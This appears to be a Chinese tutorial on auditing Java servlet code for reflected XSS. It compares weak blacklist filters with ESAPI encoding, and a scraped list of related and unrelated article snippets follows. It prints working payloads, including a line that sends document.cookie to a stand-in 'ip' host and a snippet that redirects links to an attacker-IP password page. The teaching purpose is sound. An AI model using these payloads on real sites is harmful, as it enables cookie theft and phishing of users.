java代码审计跨站脚本(XSS)--反射型
一、基础:跨站脚本(Xss)
一、原理:
恶意攻击者往web页面里插入恶意js代码,而在服务端没有对数据进行严格的过滤。当用户浏览页面时,js代码必须在该html页面中(hrml必须要存在这个而已艾玛),从而达到攻击用户的目的。(攻击者构造的的js代码会被当作正常的HTML、JS代码被解析,执行Js脚本实现攻击意图)
xss可能存在的位置:url,POST、GET的传递参数,HTTP头(Cookie)
二、危害
流量劫持
获取用户Cookie信息,盗取账号
篡改,删除页面信息(钓鱼)
配合CSRF攻击,实施进一步的攻击
XSS2RCE-控制对方电脑
三、分类
存储型:持久性xss--一劳永逸-存入数据库、session、文件、js(局部)
常见位置:用户留言、评论、用户昵称、用户信息等
反射性:非持久xss--不会存在数据库或某些落地的文件,js
常见位置:用户登录、搜索框、订单
DOM型:特殊的跨站,用户可控数据通过js和DOM技术输出到HTML中,利用方式通常与反射xss类似
四、payload
alert(123)
confirm(123)
prompt(123)
五、利用
盗取cookie
window.location.herf='http://ip/getCookie.php?cookie=' + document.cookie
钓鱼获取密码
document.getElementsByTagName("body")[0].onload=function chageLink(){document.getElementByTagName("a")[1].href="http://攻击者IP/rePasswd.php"}`
流量劫持
跳转页面法
AJAX提交法
标签payload
<script>alert(1)</script>
<img src="xxx" onerror=alert(1)>
<img src="javascript:alert(1)">
<a href="javascript:alert(1)">
六、攻击
构造闭合
用户输入即可能存在XSS注入,当然前提条件为HTML文件必须要存在这个构造的XSS恶意代码。它有可能存在a标签里,也有可能存在input标签里,Less。
构造攻击语句
攻击语句必须多种多样,因为服务器可能对某些攻击语句进行过滤;或也有可能存在某些语句服务器解释错误等。
七、防御
过滤
发现关键字时返回错误
编码
发现关键字进行编码
插入
发现关键字插入改变关键字语义符号
删除
发现关键字时删除关键字
实体化编码
将核心的关键字和关键符号进行过滤
二、审计---跨站脚本(Xss)
1、反射型XSS漏洞
(1)、常见的获取前端数据的方式
场景一、使用Servlet技术:

public static void test2(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02");//获取从前端来的数据
场景二、使用Structs2框架
通过Action类绑定参数或model参数


通过Action属性接受参数

场景三:使用SpringMVC获取前端参数:
可以看javaweb
反射型XSS漏洞通过外部输入,然后浏览器触发,审计过程寻找带参数的输出方法,然后根据输出方法对输出内容回溯输入参数
数据是从HttpServletRequest请求对象中获取的,但未对输入和输出数据进行过滤,扰乱以及编码等方面工作,无法对漏洞进行防御
1、未进行任何过滤
public static void test1(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try01 = request.getParameter("try01");
//request.getParameter通过Http协议过来的参数,容器的实现来取得通过get和post方式提交而来数据'try01'
System.out.println("try01="+try01);
}
正常请求:
index.jsp?responseTry01=123
攻击请求:
index.jsp?responseTry01=<script>alert(123)</script>
2、对特殊单词进行过滤(基于黑名单进行过滤)
public static void test2(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02");
if(try02 != null)
{
System.out.println("try02="+try02);
if(try02.contains("<script>"))
{try02 = "this pragram(02) is malice";}
else
{try02 += " try success"}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry02="+(try02));
}
}
contains:在字符串找到一个字符序列
3、黑名单过滤并过滤大小写
public static void test3(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try03 = request.getParameter("try03");
if(try03 != null)
{
System.out.println("try03="+try03);
if(try03.toLowerCase().contains("<script>"))
{
try03 = "this pragram(03) is malice";
}
else
{
// try03 += " try success";
}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry03="+(try03));
}
}
toLowerCase():将所有字符转换为小写
4、替换数据
public static void test5(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try05 = request.getParameter("try05");
if(try05 != null)
{
System.out.println("try03="+try05);
String payload1 = "</script>";
String payload2 = "<script>";
String payload3 = "<img";
List<String> payloads = new ArrayList<>();
payloads.add(payload1);
payloads.add(payload2);
payloads.add(payload3);
for (int i = 0; i < payloads.size(); i++) {
if (try05.contains(payloads.get(i))){
try05 = try05.replaceAll(payloads.get(i),"");
}
}
System.out.println("try05:"+try05);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry05="+(try05));
}
}
通过数据对黑名单数据进行替换
5、对非法字符转义
public static void test4(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try04 = request.getParameter("try04");
if(try04 != null)
{
System.out.println("try04="+try04);
try04 = ESAPI.encoder().encodeForHTML(try04);
//编码的主要意义:使字符串中是Html标签的内容失去被浏览器解析的意义(但是怎么显示怎么显示)
System.out.println("编码处理:"+try04);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry04="+URLEncoder.encode(try04 ,"UTF-8"));
}
}
5、将黑名单数据进行替换
public static void test5(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try05 = request.getParameter("try05");
if(try05 != null)
{
System.out.println("try03="+try05);
String payload1 = "</script>";
String payload2 = "<script>";
String payload3 = "<img";
List<String> payloads = new ArrayList<>();
payloads.add(payload1);
payloads.add(payload2);
payloads.add(payload3);
for (int i = 0; i < payloads.size(); i++) {
if (try05.contains(payloads.get(i))){
try05 = try05.replaceAll(payloads.get(i),"");
}
}
System.out.println("try05:"+try05);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry05="+(try05));
}
}
java代码审计跨站脚本(XSS)--反射型的更多相关文章
- JAVA代码审计之xss
java_sec_code xss 补充和回忆一下一些开发基础 @RestController @RequestMapping(value = "/xss") public cla ...
- 代码审计中的XSS反射型漏洞
XSS反射型漏洞 一 XSS漏洞总共分三总 XSS反射型漏洞,XSS保存型漏洞,基于DOM的XSS漏洞 这次主要分享XSS反射型漏洞 基本原理:就是通过给别人发送带有恶意脚本代码参数的URL,当URL ...
- Java代码审计之不安全的Java代码
Java代码审计之不安全的Java代码 在打靶场的同时,需要想一下如果你是开发人员你会怎样去防御这种漏洞,而作为攻击方你又怎么去绕过开发人员的防御. 环境搭建 https://github.com ...
- java代码审计的点
java代码审计的点 组件的审计 首先看pom.xml查看第三方组件和第三方组件的版本 常用的第三方组件: 第三方组件 漏洞类型 组件漏洞版本 log4j2 远程代码执行 Apache log4j2 ...
- java代码审计文章集合
0x00 前言 java代码审计相关文章整理,持续更新. 0x01 java环境基础 搭建Java Web开发环境 配置IDEA编辑器开发java web,从0创建项目 IDEA动态调试 ...
- [代码审计]某租车系统JAVA代码审计[前台sql注入]
0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...
- Java代码审计-铁人下载系统
初学 java 代码审计,跟着表哥们脚步,走一遍审计流程,就选了个没有使用 Java 框架的 java 系统,作为入门. 目的是为了熟悉代码审计流程,寻找漏洞的思路,入门记录. 准备工作 为了验证审计 ...
- 跨站脚本(XSS)
1.1 XSS定义 XSS,即为(Cross Site Scripting),中文名为跨站脚本,是发生在目标用户的浏览器层面上的,当渲染DOM树的过程发生了不在预期内执行的JS代码时,就发生了XSS攻 ...
- 【代码审计】JAVA代码审计
分享一些Java安全相关文章,其中大部分都涉及到代码的分析与审计. 大家总是在找Java的代码审计的文章,但好像很多人选择性失明. 其实Java没有和PHP一样的简单,所以你觉得你看到的文章不是入门级 ...
- java代码审计中的一些常见漏洞及其特征函数
文章来源:https://xz.aliyun.com/t/1633 最近在先知上看到之前有篇关于java代码审计的文章总结的蛮好,记录以下特征函数,方便查阅,同时自己也会将在平时代码审计过程中积累的函 ...
随机推荐
- C++中自定义事件与委托
自定义事件,和委托其实是一类操作. 在蓝图中都表现为红色方块. 自定义事件通过DECLARE_EVENT(ClassName, EventName)来创建一个属于ClassName的EventName ...
- 并查集(UnionFind)
并查集和其他树形结构不一样,是由孩子指向父亲,它解决了一些连接问题,怎么才能确定两个点是否相连呢?并查集可以非常快的确定两个点是否连接. 如何确定连个点是否连接呢? 我们可以用一个数组表示,对于0到9 ...
- 一文搞懂Java的工具类和API
1.工具类(Utility Class) 在Java中,工具类通常包含一系列静态方法,用于执行常见的任务,这些任务可能不直接关联到特定的业务逻辑,而是用于处理一些基础的数据转换.字符串操作.文件操作等 ...
- LeetCode 416. 分割等和子集(bitset优化)
LeetCode 416. 分割等和子集 1 题目描述 给你一个只包含正整数的非空数组nums.请你判断是否可以将这个数组分割成两个子集,使得两个子集的元素和相等. 1.1 输入测试 示例 1: 输入 ...
- 小师妹学JavaIO之:文件读取那些事
目录 简介 字符和字节 按字符读取的方式 按字节读取的方式 寻找出错的行数 总结 简介 小师妹最新对java IO中的reader和stream产生了一点点困惑,不知道到底该用哪一个才对,怎么读取文件 ...
- C#-GroupBox包含控件,如何获取这些控件的名称
您可以使用 Enumerable.OfType在GroupBox中查找和投射您的RadioButtons: var radioButtons = groupBox1.Controls.OfType&l ...
- Native Drawing开发指导,实现HarmonyOS基本图形和字体的绘制
场景介绍 Native Drawing模块提供了一系列的接口用于基本图形和字体的绘制.常见的应用场景举例: ● 2D图形绘制. ● 文本绘制. 接口说明 接口名 描述 OH_Drawing_Bit ...
- Causal Inference理论学习篇-Tree Based-Causal Tree
Tree-Based Algorithms Tree-based这类方法,和之前meta-learning 类的方法最明显的区别是: 这类方法把causal effect 的计算显示的加入了到了树模型 ...
- .NET 9 预览版 3 发布
我们很高兴地宣布发布 .NET 9 预览版 3,其中包含 .NET 库.运行时和 SDK 的新功能和改进.此预览版带来了旨在提高性能.提高开发人员工作效率以及向 .NET 生态系统引入新功能的增强功能 ...
- js 使用flow
前言 what is flow?我想是的,很多人都没有接触过,的确,他是一个新的项目,是的facebook开发的东西,一般还是可以的,有必要去学习一下,在react还是比较重要的. 它做的一件事叫做静 ...